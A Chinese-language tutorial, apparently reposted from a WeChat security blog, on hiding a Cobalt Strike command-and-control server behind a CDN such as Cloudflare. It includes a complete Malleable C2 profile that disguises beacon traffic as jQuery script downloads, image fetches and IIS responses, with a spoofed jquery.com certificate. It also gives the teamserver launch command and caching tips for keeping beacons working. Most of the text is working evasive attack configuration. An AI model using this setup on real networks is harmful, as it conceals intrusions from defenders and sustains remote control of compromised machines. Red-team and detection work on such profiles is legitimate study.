CS如何配置通过CDN上线

Xor0ne

CS如何配置通过CDN上线

原创 Sp4ce

来自公众号： HACK学习呀

原文链接：https://mp.weixin.qq.com/s?__biz=MzI5MDU1NDk2MA==&mid=2247490277&idx=1&sn=62528cb1168e28003a59d693ec44006e&chksm=ec1f4fdadb68c6cc111edb7fa3b33c8e868c294e6eaee2127e912f24db8636be3e800e53a2d1&mpshare=1&scene=23&srcid=0825pKkRQgyMOeVoh1g4lArz&sharer_sharetime=1598323499109&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

0X00    所需

域名*1

CDN*1

VPS*1

0X01    部署

域名购买后将DNS更改为CDN服务商的DNS服务器，然后等待生效

以CF为例，生效后会给邮箱发一封邮件

​

然后配置解析域名

​

1. ###
   
2. # @Author         : Sp4ce
   
3. # @Date           : 2020-07-15 11:59:42
   
4. # @LastEditors    : Sp4ce
   
5. # @LastEditTime   : 2020-07-15 15:14:57
   
6. # @Description    : Challenge Everything.
   
7. ###
   
8. set sample_name "Etumbot";
   
9. 
   
10. set sleeptime "2000";
    
11. set jitter    "0";
    
12. set maxdns    "255";
    
13. set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
    
14. 
    
15. http-get {
    
16. 
    
17.     set uri "/image/";
    
18. 
    
19.     client {
    
20.         header "Host" "CS上线域名";
    
21.         header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
    
22.         header "Referer" "http://www.google.com";
    
23.         header "Pragma" "no-cache";
    
24.         header "Cache-Control" "no-cache";
    
25.         metadata {
    
26.             netbios;
    
27.             append "-.jpg";
    
28.             uri-append;
    
29.         }
    
30.     }
    
31. 
    
32.     server {
    
33.         header "Content-Type" "img/jpg";
    
34.         header "Server" "nginx/1.10.3 (Ubuntu)";
    
35.         output {
    
36.             base64;
    
37.             print;
    
38.         }
    
39.     }
    
40. }
    
41. https-certificate {
    
42. 
    
43.     ## Option 1) Trusted and Signed Certificate
    
44.     ## Use keytool to create a Java Keystore file.
    
45.     ## Refer to https://www.cobaltstrike.com/help-malleable-c2#validssl
    
46.     ## or https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/HTTPsC2DoneRight.sh
    
47.     ## Option 2) Create your own Self-Signed Certificate
    
48.     ## Use keytool to import your own self signed certificates
    
49. 
    
50.     set keystore "./spoofdomain.store";
    
51.     set password "mypass";
    
52. 
    
53.     ## Option 3) Cobalt Strike Self-Signed Certificate
    
54.     set C   "US";
    
55.     set CN  "jquery.com";
    
56.     set O   "jQuery";
    
57.     set OU  "Certificate Authority";
    
58.     set validity "365";
    
59. }
    
60. http-stager {  
    
61.     set uri_x86 "/jquery-3.3.1.slim.min.js";
    
62.     set uri_x64 "/jquery-3.3.2.slim.min.js";
    
63. 
    
64.     server {
    
65.         header "Server" "NetDNA-cache/2.2";
    
66.         header "Cache-Control" "max-age=0, no-cache";
    
67.         header "Pragma" "no-cache";
    
68.         header "Connection" "keep-alive";
    
69.         header "Content-Type" "application/javascript; charset=utf-8";
    
70.         output {
    
71.             ## The javascript was changed.  Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
    
72.             # 2nd Line            
    
73.             prepend "!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="\r";
    
74.             # 1st Line
    
75.             prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
    
76.             append "".(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
    
77.             print;
    
78.         }
    
79.     }
    
80. 
    
81.     client {
    
82.         header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
    
83.         header "Accept-Language" "en-US,en;q=0.5";
    
84.         header "Host" "CS上线域名";
    
85.         header "Referer" "http://code.jquery.com/";
    
86.         header "Accept-Encoding" "gzip, deflate";
    
87.     }
    
88. }
    
89. http-post {
    
90.     set uri "/history/";
    
91.     client {
    
92.         header "Host" "CS上线域名";
    
93.         header "Content-Type" "application/octet-stream";
    
94.         header "Referer" "http://www.google.com";
    
95.         header "Pragma" "no-cache";
    
96.         header "Cache-Control" "no-cache";
    
97.         id {
    
98.             netbiosu;
    
99.             append ".asp";
    
100.             uri-append;
     
101.         }
     
102.         output {
     
103.             base64;
     
104.             print;
     
105.         }
     
106.     }
     
107. 
     
108.     server {
     
109.         header "Content-Type" "img/jpg";
     
110.         header "Server" "Microsoft-IIS/10.0";
     
111.         header "X-Powered-By" "ASP.NET";
     
112.         output {
     
113.             base64;
     
114.             print;
     
115.         }
     
116.     }
     
117. }
     
118. http-config {
     
119.     set trust_x_forwarded_for "true";
     
120. }

复制代码

C2.profile传到C2服务器上，与CS文件同级目录，命令启动

1. ./teamserver C2IP C2PASS ./c2.profile

复制代码

然后攻击机新建监听器，配置如下

​

上线测试

​

远端地址均为CDN IP

0X02    需要注意的坑

CDN需要关闭缓存或开启开发模式,如果不关闭缓存，会出现执行命令，回不来返回内容以及机器超时。

​